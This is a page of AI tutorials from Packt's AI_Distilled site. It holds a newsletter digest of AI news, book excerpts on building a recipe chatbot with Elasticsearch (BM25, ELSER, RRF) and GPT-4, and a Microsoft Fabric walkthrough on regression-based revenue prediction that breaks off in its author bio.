How-To Tutorials - AI Tools

Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!👋 Hello ,“[AI healthcare systems] include understanding symptoms and conditions better, including simplifying explanations in local vernaculars…and acting as a valuable second opinion. This, in turn, potentially provides a pathway for medical AI towards superhuman diagnostic performance.” - Vivek Natrajan, Google AI Researcher AI is making rapid strides in healthcare with a major disruption underway. The recent study examined how current language models perform in diagnostic settings and it’s clear they’re making tremendous progress with each passing day. Step into AI_Distilled's latest installment, where we delve into the most recent developments in AI/ML, LLMs, NLP, GPT, and Gen AI. Join us as we kick off this edition, showcasing news and insights from various sectors: AI Industry Updates:  Apple Focuses on AI for Major iOS Update Tencent Chief Raises Concerns Over Gaming Business China Greenlights Over Four Dozen AI Systems New iPhone App Streamlines Web Searches with AI Assistance German Startup Aims to Supercharge AI Chips with Novel "Memcapacitor" Design AI Startup Anthropic Suffers Data Breach Amid Regulatory Scrutiny New AI Coding Tool Surpasses Previous Models New AI Model Launches:  Meta Unleashes Mighty Code Llama 70B Google Unveils New AI Model for Advanced Video Generation OpenAI Announces Major Model and API Updates AI in Healthcare: AI Helps Design Proteins for Improved Gene Therapy Delivery AI's Diagnostic Prowess Advancing Rapidly AI in Supply Chain Management: AI Transforming Global Supply Chain Management Edge AI's Potential in Logistics Faces Memory Limitations We’ve also got you your fresh dose of LLM, GPT, and Gen AI secret knowledge and tutorials: Assessing AI Accuracy: New Leaderboard Evaluates Language Models New Techniques to Boost AI Performance Neural Networks Learn Non-Linear Functions Through Rectified Activation Enhancing Conversations with Contextual Understanding We know how much you love hands-on tips and strategies from the community, so here they are: Fine-Tuning BERT for Long-Form Text Training Giant Language Models the Cost-Effective Way Optimizing AI Models for Speed and Scale Estimating Depth from a Single Image: Researchers Evaluate AI Models Don’t forget to review these GitHub repositories that have been doing rounds: rasbt/LLMs-from-scratch LaurentMazare/mamba.rs 0nutation/speechgpt naver/roma  📥 Feedback on the Weekly EditionTake our weekly survey and get a free PDF copy of our best-selling book, "Interactive Data Visualization with Python - Second Edition." 📣 And here's the twist – we're tuning into YOUR frequency! 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Start Upskilling! SignUp | Advertise | Archives⚡ TechWave: AI/GPT News & Analysis💎 Apple Focuses on AI for Major iOS Update: Apple is planning a major iOS 18 update, aiming to enhance AI features, particularly Siri and messaging apps. It will include generative AI in various apps, with Apple in talks with publishers for content. New iPads and MacBooks with M3 chips may be released soon. 💎 Tencent Chief Raises Concerns Over Gaming Business: Tencent's CEO, Pony Ma, is concerned about competition in the gaming division as recent titles underperformed while rivals thrive. Despite 30% of revenue from games, Tencent feels left behind. They've caught up in AI and plan to integrate it across businesses, with a focus on evolving WeChat platform. 💎 China Greenlights Over Four Dozen AI Systems: Chinese regulators have recently granted approval to over 40 AI models for public use, with companies including Baidu, Alibaba, and ByteDance receiving the green light. This move reflects China's push to narrow the AI gap with the United States, driven by the success of ChatGPT. 💎 New iPhone App Streamlines Web Searches with AI Assistance: Arc Search is a mobile app improving search with "Browse for Me" creating concise web pages from multiple sources, AI summaries, tab switching, and reading mode. It's an early-stage tool designed to save users time in the digital era. 💎 German Startup Aims to Supercharge AI Chips with Novel "Memcapacitor" Design: Semron, a German startup, aims to revolutionize the computer chip industry by replacing transistors with "memcapacitors." Their 3D-stacked memcapacitor design promises improved AI performance and reduced energy consumption. With $10 million in funding, Semron aims to provide efficient chips for mobile and edge AI applications. 💎 AI Startup Anthropic Suffers Data Breach Amid Regulatory Scrutiny: Anthropic, the creator of LLM, disclosed an accidental data leak by a contractor to a third party. Concurrently, the FTC initiated an inquiry into Anthropic's affiliations with Amazon and Google, fueling concerns about data privacy in the expanding LLM landscape. 💎 New AI Coding Tool Surpasses Previous Models: AlphaCodium, an open-source AI model by CodiumAI, surpasses Google's AlphaCode and AlphaCode 2 in code generation efficiency. It employs a "flow engineering" approach, emphasizing code integrity through iterative code generation and adversarial testing, aiming to advance upon DeepMind's work and assist global developers.  New AI Model Launches: 💎 Google Unveils New AI Model for Advanced Video Generation: Google has unveiled Lumiere, an advanced AI model utilizing space-time diffusion to create lifelike videos from text or images. It addresses motion and consistency problems in AI video generation, yielding 5-second clips with smooth motion. While not yet available for testing, experts anticipate Lumiere could redefine AI video creation capabilities. 💎 Meta Unleashes Mighty Code Llama 70B: Meta has launched Code Llama 70B, a powerful AI model for automating software development. With 500 billion training examples, it excels in translating natural language instructions into functional code, surpassing previous models. Meta aims to boost global coding and expand its use in translation, documentation, and debugging. 💎 OpenAI Announces Major Model and API Updates: OpenAI launched new AI models and tools, including enhanced embeddings, GPT-4, and moderation models. They lowered GPT-3.5 Turbo pricing, introduced key management features, and per-key analytics to enhance user control and accessibility, bolstering their technology's capabilities. AI in Healthcare: 💎 AI Helps Design Proteins for Improved Gene Therapy Delivery: University of Toronto scientists created ProteinVAE, an AI model to design unique protein variants, aiming to evade immune responses in gene therapy. By re-engineering adenovirus hexon proteins, they generate novel sequences for improved safety and efficacy, with faster, cost-effective design. Successful experiments could enhance gene therapy. 💎 AI's Diagnostic Prowess Advancing Rapidly: A study assessed GPT-3.5 and GPT-4's ability to mimic doctors' diagnostic reasoning. AI gave mostly accurate responses to various prompts, suggesting potential for assisting physicians, provided clinicians grasp the AI's response generation process.  AI in Supply Chain Management: 💎 AI Transforming Global Supply Chain Management: A recent study revealed that 98% of executives consider AI crucial for enhancing supply chain operations. AI aids in cost reduction through inventory optimization, transportation, and trade expense management. It particularly benefits inventory management, a vital cost-cutting aspect, as businesses increasingly adopt AI and data-driven solutions to overcome ongoing supply chain challenges and achieve strategic objectives like cost reduction and revenue growth. 💎 Edge AI's Potential in Logistics Faces Memory Limitations: AI and edge computing offer potential for efficient supply chain management through real-time decision-making. However, data processing at the edge strains memory. MRAM tech may alleviate limitations. As data increases, novel storage solutions are essential for maximizing edge AI's logistics benefits, hinging on memory improvements.  🔮 Expert Insights from Packt Community Complete Python Course with 10 Real-World Projects [Video] - By Ardit Sulce This Python course benefits both beginners and experienced AI developers by thoroughly covering Python's versatility in supporting different programming paradigms. It begins with a concise introduction and explores fundamental to advanced Python techniques. For beginners, the initial 12 sections provide a strong foundation in Python basics. Experienced developers can sharpen their skills by exploring intermediate and advanced concepts such as OOPS, classes, lists, modules, functions, and JSON. Additionally, the course extends into practical application by teaching the use of essential libraries like Matplotlib and NumPy, web development with Flask, and even Android APK file manipulation.  Database handling and geographical app development are also included, enriching the skill set of both novices and experts. The course culminates with the creation of ten practical applications, ranging from a volcano web map generator to data analysis dashboards, mobile apps, web scraping tools, and more. Ultimately, you will gain the ability to independently create executable Python programs, master coding syntax, and achieve comprehensive proficiency in Python programming, making this course highly recommended for students at all levels of experience. Plus, you can access project resources at: https://github.com/PacktPublishing/Complete-Python-Course-with-10-Real-World-Projects.Discover the "Complete Python Course with 10 Real-World Projects [Video]" by Ardit Sulce, published in February 2023. Get a comprehensive overview of the course content through a complete chapter preview video. Alternatively, access the entire Packt digital library, including this course and more, with a 7-day free trial. To access more insights and additional resources, click the button below.Watch Here 🌟 Secret Knowledge: AI/LLM Resources💎 Assessing AI Accuracy: New Leaderboard Evaluates Language Models: The Hallucinations Leaderboard assesses Language Models (LLMs) for generating incorrect information. It includes diverse tasks to test accuracy. Initial findings reveal variations in model performance, aiding in the pursuit of more reliable and less hallucination-prone LLMs. 💎 New Techniques to Boost AI Performance: Google researchers have created innovative software techniques for optimizing mixed-input matrix multiplication, a critical AI computation. They utilize register shuffling and efficient data type conversions to map mixed-input tasks onto hardware-accelerated Tensor Cores with minimal overhead. On NVIDIA GPUs, their approach matches the performance of hardware-native operations, offering potential solutions to computational challenges in advancing AI technology. 💎 Neural Networks Learn Non-Linear Functions Through Rectified Activation: The article explains how neural networks approximate complex functions, especially with Rectified Linear Unit (ReLU) activation. ReLU enables multiple neurons to represent linear and curved functions, emphasizing proper architecture over more layers for accuracy without overfitting, revealing neural networks' expressive capabilities. 💎 Enhancing Conversations with Contextual Understanding: The article explores enhancing conversational agents' contextual understanding in multi-turn conversations. It utilizes models like FLAN and Llama to assess question relationships, incorporates context from prior questions, and reevaluates responses to provide more comprehensive and successful conversation outcomes. These methods showed promising results in testing. 🔛 Masterclass: AI/LLM Tutorials💎 Fine-Tuning BERT for Long-Form Text: This article discusses how to use powerful NLP models like BERT to analyze long passages. BERT works by splitting lengthy reviews into chunks that fit its 512-token limit. It first pre-trains on general text, then fine-tunes on a task. To classify a long movie review, it is chopped into pieces, tagged with IDs, and stacked into the model. Results are pooled to get an overall sentiment.  💎 Training Giant Language Models the Cost-Effective Way: This guide explains how to enhance AI model training on AWS using Trainium and EKS. Set up a Kubernetes cluster with Trainium chips, preprocess data with Llama2's tokenizer, and optimize the model with compilation jobs. Monitor training across nodes, checking logs, utilization, and using Tensorboard for cost-effective training of large models. 💎 Optimizing AI Models for Speed and Scale: This blog advises on efficiently setting up and optimizing large language models for speed and scalability. It emphasizes hardware and configuration choices tailored to each model's requirements, balancing factors like response time and concurrent user capacity. Benchmarks demonstrate how GPU usage, model distribution, and request volume affect performance. Proper tuning enables AI assistants to engage in concurrent conversations with many users without excessive delays. 💎 Estimating Depth from a Single Image: Researchers Evaluate AI Models: Researchers evaluated neural networks' monocular depth estimation capabilities using single photos and RGB-depth map datasets. DPT and Marigold models were trained and compared, with DPT outperforming in accuracy based on RMSE and SSIM metrics. While promising, further enhancements are needed in this area.  🚀 HackHub: Trending AI Tools💎 rasbt/LLMs-from-scratch: Incrementally build a ChatGPT-like LLM from scratch for educational purposes.💎 LaurentMazare/mamba.rs: Pure Rust version of the Mamba inference algorithm with minimal dependencies for efficient sequence modeling. 💎 0nutation/speechgpt: Allows multi-modal conversations and SpeechGPT-Gen for scaling chain-of-information speech generation.💎 naver/roma: PyTorch library offering useful tools for working with 3D rotations, including conversions between rotation representations, metrics, interpolation, and differentiation capabilities.

Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!This article is an excerpt from the book, Vector Search for Practitioners with Elastic, by Bahaaldine Azarmi and Jeff Vestal. Optimize your search capabilities in Elastic by operationalizing and fine-tuning vector search and enhance your search relevance while improving overall search performanceIntroductionEmbark on a culinary journey where innovation meets tradition, as we delve into the intricacies of recipe retrieval with the dynamic trio of BM25, ELSER, and RRF. In the ever-evolving landscape of cooking queries, this article unveils the power of classic full-text search, semantic understanding through ELSER, and robust rank fusion with RRF. Witness the synergy of these techniques as they seamlessly integrate into the RAG system, combining the efficiency of an Elasticsearch retriever with the creativity of the GPT-4 generator. Join us to explore how this transformative blend goes beyond keywords, shaping a personalized, flavorful experience for culinary enthusiasts.You can find Implementing a RAG-enhanced CookBot - Part 1 here.Building the retriever—RRF with ELSERIn the context of our recipe retrieval task, our goal is to maximize the relevance of the returned recipes based on a user’s query. We will utilize a combination of classic full-text search (via BM25), semantic search (with ELSER), and a robust rank fusion method (RRF). This combination allows us to handle more complex queries and return results that align closely with the user’s intent.Let’s consider the following query:GET recipes/_search { "_source": { "includes": [ "name", "ingredient" ] }, "sub_searches": [ { "query": { "bool": { "must": { "match": { "ingredient": "carrot beef" } }, "must_not": { "match": { "ingredient": "onion" } } } } }, { "query": { "text_expansion": { "ml.tokens": { "model_id": ".elser_model_1", "model_text": "I want a recipe from the US west coast with beef" } } } } ], "rank": { "rrf": { "window_size": 50, "rank_constant": 20 } } }This query includes two types of search. The first uses a classic Elasticsearch Boolean search to find recipes that contain both carrot and beef as ingredients, excluding those with onion. This traditional approach ensures that the most basic constraints of the user are met.The second sub_search employs ELSER to semantically expand the query I want a recipe from the US west coast with beef. ELSER interprets this request based on its understanding of language, enabling the system to match documents that may not contain the exact phrase but are contextually related. This allows the system to factor in the more nuanced preferences of the user.The query then employs RRF to combine the results of the two sub_searches. The window_ size parameter is set to 50, meaning the top 50 results from each sub-search are considered. The rank_constant parameter, set to 20, guides the RRF algorithm to fuse the scores from the two sub_searches.Thus, this query exemplifies the effective combination of BM25, ELSER, and RRF. Exploiting the strengths of each allows CookBot to move beyond simple keyword matches and provide more contextually relevant recipes, improving the user experience and increasing the system’s overall utility.Leveraging the retriever and implementing the generatorNow that we have our Elasticsearch retriever set up and ready to go, let’s proceed with the final part of our RAG system: the generator. In the context of our application, we’ll use the GPT-4 model as the generator. We’ll implement the generator in our recipe_generator.py module and then integrate it into our Streamlit application.Building the generatorWe will start by creating a RecipeGenerator class. This class is initialized with an OpenAI API key(find out how to get an OpenAI key at https://help.openai.com/en/articles/4936850where-do-i-find-my-secret-api-key), which is used to authenticate our requests with the GPT-4 model:import openai import json from config import OPENAI_API_KEY class RecipeGenerator: def __init__(self, api_key): self.api_key = api_key openai.api_key = self.api_key Next, we define the generate function in the RecipeGenerator class. This function takes in a recipe as input, and sends it as a prompt to the GPT-4 model, asking it to generate a detailed, step-by-step guide. def generate(self, recipe): prompts = [{"role": "user", "content": json.dumps(recipe)}] instruction = { "role": "system", "content": "Take the recipes information and generate a recipe with a mouthwatering intro and a step by step guide." } prompts.append(instruction) generated_content = openai.ChatCompletion.create( model="gpt-4", messages=prompts, max_tokens=1000 ) return generated_content.choices[0].message.contentThe prompts are formatted as required by the OpenAI API, and the max_tokens parameter is set to 1000 to limit the length of the generated text. The generated recipe is then returned by the function.Integrating the generator into the Streamlit applicationWith our RecipeGenerator class ready, we can now integrate it into our Streamlit application in main.py. After importing the necessary modules and initializing the RecipeGenerator class, we will set up the user interface with a text input field:from recipe_generator import RecipeGenerator from config import OPENAI_API_KEY generator = RecipeGenerator(OPENAI_API_KEY) input_text = st.text_input(" ", placeholder="Ask me anything about cooking")When the user enters a query, we will use the Elasticsearch retriever to get a relevant recipe. We then pass this recipe to the generate function of  RecipeGenerator, and the resulting text is displayed in the Streamlit application (see a video example at https://www.linkedin.com/posts/ bahaaldine_genai-gpt4-elasticsearch-activity-7091802199315394560-TkPY):if input_text: query = { "sub_searches": [ { "query": { "bool": { "must_not": [ { "match": { "ingredient": "onion" } } ] } } }, { "query": { "text_expansion": { "ml.tokens": { "model_id": ".elser_model_1", "model_text": input_text } } } } ], "rank": { "rrf": { "window_size": 50, "rank_constant": 20 } } } recipe = elasticsearch_query(query) st.write(recipe) st.write(generator.generate(recipe))The generator thus works in tandem with the retriever to provide a detailed, step-by-step recipe based on the user’s query. This completes our implementation of the RAG system in a Streamlit application, bridging the gap between retrieving relevant information and generating coherent, meaningful responses.ConclusionIn conclusion, the marriage of BM25, ELSER, and RRF marks a groundbreaking approach to recipe retrieval, reshaping the culinary landscape. The strategic amalgamation of classic search methodologies, semantic comprehension, and robust rank fusion ensures a tailored and enriched user experience. As we bid farewell to this exploration, it's evident that the RAG system, with its Elasticsearch retriever and GPT-4 generator, successfully bridges the gap between information retrieval and creative recipe generation. This synergistic blend not only meets user expectations but surpasses them, offering a harmonious fusion of precision and creativity in the realm of culinary exploration.Author BioBahaaldine Azarmi, Global VP Customer Engineering at Elastic, guides companies as they leverage data architecture, distributed systems, machine learning, and generative AI. He leads the customer engineering team, focusing on cloud consumption, and is passionate about sharing knowledge to build and inspire a community skilled in AI.Jeff Vestal has a rich background spanning over a decade in financial trading firms and extensive experience with Elasticsearch. He offers a unique blend of operational acumen, engineering skills, and machine learning expertise. As a Principal Customer Enterprise Architect, he excels at crafting innovative solutions, leveraging Elasticsearch's advanced search capabilities, machine learning features, and generative AI integrations, adeptly guiding users to transform complex data challenges into actionable insights.

Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!This article is an excerpt from the book, Vector Search for Practitioners with Elastic, by Bahaaldine Azarmi and Jeff Vestal. Optimize your search capabilities in Elastic by operationalizing and fine-tuning vector search and enhance your search relevance while improving overall search performanceIntroductionEveryone knows the age-old culinary dilemma, “What can I cook with the ingredients I have?” Many people need help when faced with an array of ingredients but a lack of inspiration or knowledge to whip up a dish. This everyday issue was the spark for our idea—CookBot.CookBot is not just any AI. It’s conceived as an advanced culinary assistant that not only suggests recipes based on the available ingredients but also understands the nuances of user queries, adapts to individual dietary preferences and restrictions, and generates insightful culinary recommendations.Our objective was to infuse CookBot with RAG, ELSER, and RRF technologies. These technologies are designed to enhance the semantic understanding of queries, optimize information retrieval, and generate relevant, personalized responses. By harnessing the capabilities of these advanced tools, we aimed for CookBot to be able to provide seamless, context-aware culinary assistance tailored to each user’s unique needs.Figure: CookBot powered by ElasticDataset overview – an introduction to the Allrecipes.com datasetThe Allrecipes.com dataset, in its raw CSV format, is a treasure trove of diverse and detailed culinary information. Thus, it is the perfect foundation to train our CookBot. It houses an extensive range of recipes, each encapsulated in a unique entry brimming with an array of information.You can find and download the dataset here, as it will be used later in the chapter:https://www.kaggle.com/datasets/nguyentuongquang/all-recipesTo illustrate the richness of this dataset, let’s consider a single entry:"group","name","rating","n_rater","n_ reviewer","summary","process","ingredient" "breakfast-and-brunch.eggs.breakfast-burritos","Ham and Cheese Breakfast Tortillas",0,0,44,"This is great for a special brunch or even a quick and easy dinner. Other breakfast meats can be used, but the deli ham is the easiest since it is already fully cooked.","prep: 30 mins,total: 30 mins,Servings: 4,Yield: 4 servings","12 eggs + <U+2153> cup milk + 3 slices cooked ham, diced + 2 green onions, minced + salt and pepper to taste + 4 ounces Cheddar cheese, shredded + 4 (10 inch) flour tortillas + cup salsa" Each entry in the dataset represents a unique recipe and encompasses various fields:group: This is the categorization of the recipe. It provides a general idea about the type and nature of the dish.name: This is the title or name of the recipe. This field straightforwardly tells us what the dish is. • rating and n_rater: These fields indicate the popularity and approval of the dish among users.n_reviewer: This is the number of users who have reviewed the recipe.summary: This is a brief overview or description of the dish, often providing valuable context about its taste, usage, or preparation.process: This field outlines crucial details such as preparation time, total cooking time, servings, and yield.ingredient: This is a comprehensive list of all the ingredients required for the recipe, along with their quantities.The detailed information offered by each field gives us a broad and varied information space, aiding the retriever in navigating the data and ensuring the generator can accurately respond to a diverse range of culinary queries. As we move forward, we will discuss how we indexed this dataset using Elasticsearch, the role of ELSER and RRF in effectively retrieving data, and how the GPT-4 model generates relevant, personalized responses based on the retrieved data.Preparing data for RAG-enhanced searchTo transform the Allrecipes.com data into a searchable database, we first need to parse the CSV file and subsequently create an Elasticsearch index where data will be stored and queried. Let’s walk through this process implemented as part of the Python code.Connecting to ElasticsearchFirst, we need to establish a connection with our Elasticsearch instance. This connection is handled by the Elasticsearch object from the Elasticsearch Python module:from elasticsearch import Elasticsearch es = Elasticsearch()In this case, we assume that our Elasticsearch instance runs locally with default settings. If it doesn’t, we will need to provide the appropriate host and port information to the Elasticsearch class.Defining the indexThe next step is to define an index where our recipes will be stored. An index in Elasticsearch is like a database in traditional database systems. In this case, we’ll call our index recipes:index_name = 'recipes'Creating the mappingNow, we need to create a mapping for our index. A mapping is like a schema in a SQL database and defines the types of each field in the documents that will be stored in the index. We will define a mapping as a Python dictionary:mapping = { "mappings": { "properties": { "group": { "type": "text" }, "name": { "type": "text" }, "rating": { "type": "text" }, "n_rater": { "type": "text" }, "n_reviewer": { "type": "text" }, "summary": { "type": "text", "analyzer": "english" }, "process": { "type": "text" }, "ingredient": { "type": "text", }, "ml.tokens": { "type": "rank_features" } } } } Here, all fields are defined as text, which means they are full-text searchable. We also specify that the summary field should be analyzed using the English analyzer, which will help to optimize searches in English text by taking into account things such as stemming and stop words. Finally, we create the field that ELSER will use to create the token set, which is the result of the expansion happening based on the terms passed to ELSER.Creating the indexOnce we’ve defined our mapping, we can create the index in Elasticsearch with the following:es.indices.create(index=index_name, body=mapping)This sends a request to Elasticsearch to create an index with the specified name and mapping.Reading the CSV fileWith our index ready, we can now read our dataset from the CSV file. We’ll use pandas, a powerful data manipulation library in Python, to do this:import pandas as pd with open('recipe_dataset.csv', 'r', encoding='utf-8', errors='ignore') as file: df = pd.read_csv(file)This code opens the CSV file and reads it into a pandas dataframe, a two-dimensional tabular data structure that’s perfect for manipulating structured data.Converting to dictionariesTo index the data into Elasticsearch, we need to convert our dataframe into a list of dictionaries, where each dictionary corresponds to a row (i.e., a document or recipe) in the dataframe:recipes = df.to_dict('records') print(f"Number of documents: {len(recipes)}")At this point, we have our dataset ready to index in Elasticsearch. However, considering the size of the dataset, it is advisable to use the bulk indexing feature for efficient data ingestion. This will be covered in the next section.Bulk indexing the dataLet’s look into the step-by-step process of bulk indexing your dataset in Elasticsearch.Defining the preprocessing pipelineBefore we proceed to bulk indexing, we need to set up a pipeline to preprocess the documents. Here, we will use the elser-v1-recipes pipeline, which utilizes the ELSER model for semantic indexing. The pipeline is defined as follows:[ { "inference": { "model_id": ".elser_model_1", "target_field": "ml", "field_map": { "ingredient": "text_field" }, "inference_config": { "text_expansion": { "results_field": "tokens" } } } } ]The pipeline includes an inference processor that uses the ELSER pre-trained model to perform semantic indexing. It maps the ingredient field from the recipe data to the text_field object of the ELSER model. The output (the expanded tokens from the ELSER model) is stored in the tokens field under the ml field in the document.Creating a bulk indexing sequenceGiven the size of the Allrecipes.com dataset, it’s impractical to index each document individually. Instead, we can utilize Elasticsearch’s bulk API, which allows us to index multiple documents in a single request. First, we need to generate a list of dictionaries, where each dictionary corresponds to a bulk index operation:bulk_index_body = [] for index, recipe in enumerate(recipes): document = { "_index": "recipes", "pipeline": "elser-v1-recipes", "_source": recipe } bulk_index_body.append(document)In this loop, we iterate over each recipe (a dictionary) in our recipes list and then construct a new dictionary with the necessary information for the bulk index operation. This dictionary specifies the name of the index where the document will be stored (recipes), the ingest pipeline to be used to process the document (elser-v1-recipes), and the document source itself (recipe).Performing the bulk index operationWith our bulk_index_body array ready, we can now perform the bulk index operation:try: response = helpers.bulk(es, bulk_index_body, chunk_size=500, request_timeout=60*3) print ("\nRESPONSE:", response) except BulkIndexError as e: for error in e.errors: print(f"Document ID: {error['index']['_id']}") print(f"Error Type: {error['index']['error']['type']}") print(f"Error Reason: {error['index']['error']['reason']}")We use the helpers.bulk() function from the Elasticsearch library to provide our Elasticsearch connection (es)—the bulk_index_body array we just created—with a chunk_size value of 500 (which specifies that we want to send 500 documents per request) and a request_timeout value of 180 seconds, which specifies that we want to allow each request to take up to 3 minutes before timing out because the indexing could take a long time with ELSER.The helpers.bulk() function will return a response indicating the number of operations attempted and the number of errors, if any.If any errors occur during the bulk index operation, these will be raised as BulkIndexError. We can catch this exception and iterate over its errors attribute to get information about each individual error, including the ID of the document that caused the error, the type of error, and the reason for it.At the end of this process, you will have successfully indexed your entire Allrecipes.com dataset in Elasticsearch, ready for it to be retrieved and processed by your RAG-enhanced CookBot.ConclusionIn closing, the infusion of RAG, ELSER, and RRF technologies into CookBot elevates culinary exploration. With Elasticsearch indexing and the Allrecipes.com dataset, CookBot transcends traditional kitchen boundaries, offering personalized, context-aware assistance. This journey signifies the convergence of cutting-edge AI and the rich tapestry of culinary possibilities. As CookBot orchestrates flavor symphonies, the future of cooking is redefined, promising a delightful harmony of technology and gastronomy for every user. Embrace the evolution—where CookBot's intelligence transforms mere ingredients into a canvas for culinary innovation.Author BioBahaaldine Azarmi, Global VP Customer Engineering at Elastic, guides companies as they leverage data architecture, distributed systems, machine learning, and generative AI. He leads the customer engineering team, focusing on cloud consumption, and is passionate about sharing knowledge to build and inspire a community skilled in AI.Jeff Vestal has a rich background spanning over a decade in financial trading firms and extensive experience with Elasticsearch. He offers a unique blend of operational acumen, engineering skills, and machine learning expertise. As a Principal Customer Enterprise Architect, he excels at crafting innovative solutions, leveraging Elasticsearch's advanced search capabilities, machine learning features, and generative AI integrations, adeptly guiding users to transform complex data challenges into actionable insights.

Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionAI and data analysis are critical for businesses to gain insights, optimize processes, and deliver value to their customers. However, working with data can be challenging, especially when it comes from various sources, formats, and systems. That’s why Microsoft offers two powerful platforms that can help you simplify your data and analytics needs: Microsoft Dataverse and Microsoft Fabric.Microsoft Dataverse is a smart, secure, and scalable low-code data platform that lets you create and run applications, flows, and intelligent agents with common tables, extended attributes, and semantic meanings. Microsoft Fabric is a unified platform that can meet your organization’s data and analytics needs. It integrates data lake, data engineering, and data integration from Power BI, Azure Synapse, and Azure Data Factory into a single SaaS experience enabling a single layer for managing data across the enterprise as well as enabling data scientists to apply models using data from these sources effectively.In this article, we will learn how to consume data from dataverse, prepare our data for ML experiments using other data sources, apply a machine learning model, and finally create an outcome that can be again by users of dataverse.Business ScenarioIn this blog, we will try to solve problems for retail merchants selling products such as wine, fruits , meat , fish, etc through web and in-store experience. the marketing department generates monthly sales offers but also wants to ensure these offers land to customers based on the revenue they generate throughout the year. While it is easy for existing customers with long-term relations, but many new customers would remain outside of such business segmentation for 12 months which makes it harder for marketing to engage. So we will help the marketing team to get predicted revenue available for all customers so they can plan the offers and realize the true potential with each customer.Getting the environment readyLet's understand where would be our data and how we can prepare for the use case. The marketing team in this case uses Microsoft dynamics Marketing solution . so customer information is stored in dataverse and in a table called “Contact”. The transaction information is stored in an e-commerce solution hosted in Azure and using Azure SQL as data storage. To replicate the environment we need to perform the following actions1. Download and deploy the “contact table solution” in the targeted dataverse environment. follow the steps defined at Microsoft Learn. The solution will deploy changes to the core contact table and a power automation flow that will be required to populate the data.2. Download “DataFile_Master” and place the file in one drive for business in the same environment as dataverse.3. Open power to automate flow “ArticleFlow_loadCustomerData” deployed through the solution file and update the file location at the following action and save.Figure 1 - List action from Power Automate Cloud Flow4. Run the flow so data required for simulation is uploaded in the contact table. After the execution of the flow, you should have the following data rows added to the contact table.Figure 2 - Data Created in Contact Table of Dataverse5. Let's set up a link between dataverse and Microsoft Fabric. This can be initiated by launching the Power App maker view and clicking on Analyze> Link to Microsoft Fabric link. Please refer to the documentation if you are performing this action for the first time. This will allow access to dataverse tables in Microsoft Fabric for all data science activities without any ETL needs.6. The last step of setting up the environment is to bring the transaction summary information to our Fabric. Here we will import the information in the Microsoft Fabric workspace created with dataverse synchronization. First, we will launch Lakehouse from workspace , and choose the one created with dataverse synchronization. The name would start from dataverse_<environment> where the environment is the name of the environment of dataverse.Figure 3- Microsoft Fabric Auto created Workspace and Lakehouse for dataverse7. This will bring you to the Lakehouse Explorer view where you can view all the dataverse tables. Now from the menu select “Get Data > Upload files” to bring our transaction summary file to Lakehouse. In a real scenario , this can also be done through many features offered by data factory  Figure 4 - Action to upload transaction file in Lakehouse Explorer8. Download a ready file “RetailStoreTxnSummary_01” and select the file in a prompt. This will upload the file under the file folder of Lakehouse.9. Click on three dots with the file and choose load to table > New table. This will show a prompt and ask for the table name , let's keep it the same as the file name. this will create a table with summary information.Figure 5 - Action to convert transaction summary file to Delta tableWe have completed the steps of data preparation and started preparing for the machine learning experiment. With the completion of the above action, our lakehouse now has a contact table, mirrored from dataverse and retailstoretxnsummary_01table created from CSV file. We can now move to the next step of preparing data for the machine learning model.Preparing data for machine learning modelAs discussed in our business problem, we will be using the data to create a linear regression model. Our intention is to use the customer information and transactional information to predict expected revenue from customers in a 12-month cycle.  Now that we have our data available in fabric, we can use Notebook at Fabric to create a joint table that will be used as a source of testing and training the model.  we will use the following code snippet to join the two tables and save them in the temp test_train_data table.  You can download the ready notebook file “01-Createtable” and upload using Open Notebook > Existing Notebook or create a new one from Open Notebook > New Notebook.Figure 6 - a snapshot of the notebook "01-CreateTable"Creating and registering ML modelIn this step we will now use the data in our table “tbl_temp_traintestdata” and build a linear regression model.  we are using linear regression as it is simple and easy to learn as well as suitable for numerical predictions. We will use the following PySpark code, you can also download the ready file “02-CreateMLMode”.Analyse the model performanceLet’s quickly assess the model performance using 3 evaluation criteria. firstly we use RMSE (Root Mean Squared Error), the training data is approximately 9535.31, and for the test data, it’s approximately 8678.23. The lower the RMSE, the better the model’s predictions. It’s worth noting that the RMSE is sensitive to outliers, meaning that a few large errors can significantly increase the RMSE. Second, we used R2 (R-squared). the R2 for the training data is approximately 0.78 (or 78%), and for the test data, it’s approximately 0.82 (or 82%). This means that about 78% of the variability in the training data and 82% of the variability in the test data can be explained by the model. This model seems to be performing reasonably well, as indicated by the relatively high R2 values. However, the RMSE values suggest that there may be some large errors, possibly due to outliers in the data. Lastly, we analyzed the coefficients to identify the importance of the selected features , the results were the following:Figure 7 - Coefficients of featuresWe identified that MntDairyProds (42.06%)  has the highest coefficient, meaning it has the most significant influence on the model’s predictions. A change in this feature will have a substantial impact on the predicted crffa_revenue. However, MntBeverageProds (0.05%) and others under 0 indicate they have less influence on the model’s predictions. However, they still contribute to the model’s ability to accurately predict crffa_revenue.Since data cleansing is not in our blog scope, we will accept these results and move to the next step which is using this model to perform batch prediction on new customer profiles.Using the model for batch predictionWe will now use the registered model to batch-predict new customer profiles. We will fetch the rows with the current revenue is zero and pass the dataset for prediction. Finally, we will save the records so we can post back to dataverse. A ready file “03– UseModelandSavePredictions” can be downloaded or the following code snippet can be copied.After execution of this code, we will have a new table in oneLake “” with predicted revenue. This table can be then synchronized back to dataverse using virtual table configuration and used in the table.Figure 8 - Output snapshot from OneLake SQL analytics endpointThere are detailed instructions are available at Microsoft Learn that can make the prediction table available in dataverse so the marketing team can use the predicted values for segmentation or personalized offeringsFigure 9 virtual table configured in Dataverse.ConclusionIn this blog, we have learned how to use Microsoft Fabric to create a regression model for predicting customer revenue and leveraging data from Dataverse and other sources. We have also seen how to consume the model through simple PySpark code. Moreover, we have explored how to integrate the model with Power Platform, opening up many new possibilities.This is just one example of how this platform can accelerate the work together to enable business scenarios that traditionally would have required data scientist and many days of engineering. There are many more possibilities and benefits of using these tools, such as scalability, security, governance, and collaboration. We encourage you to experiment and explore both dataverse and fabric to discover new ways of solving your business problems and creating value for your customers.Author BioMohammad Adeel Khan is a Senior Technical Specialist at Microsoft. A seasoned professional with over 19 years of experience with various technologies and digital transformation projects. At work , he 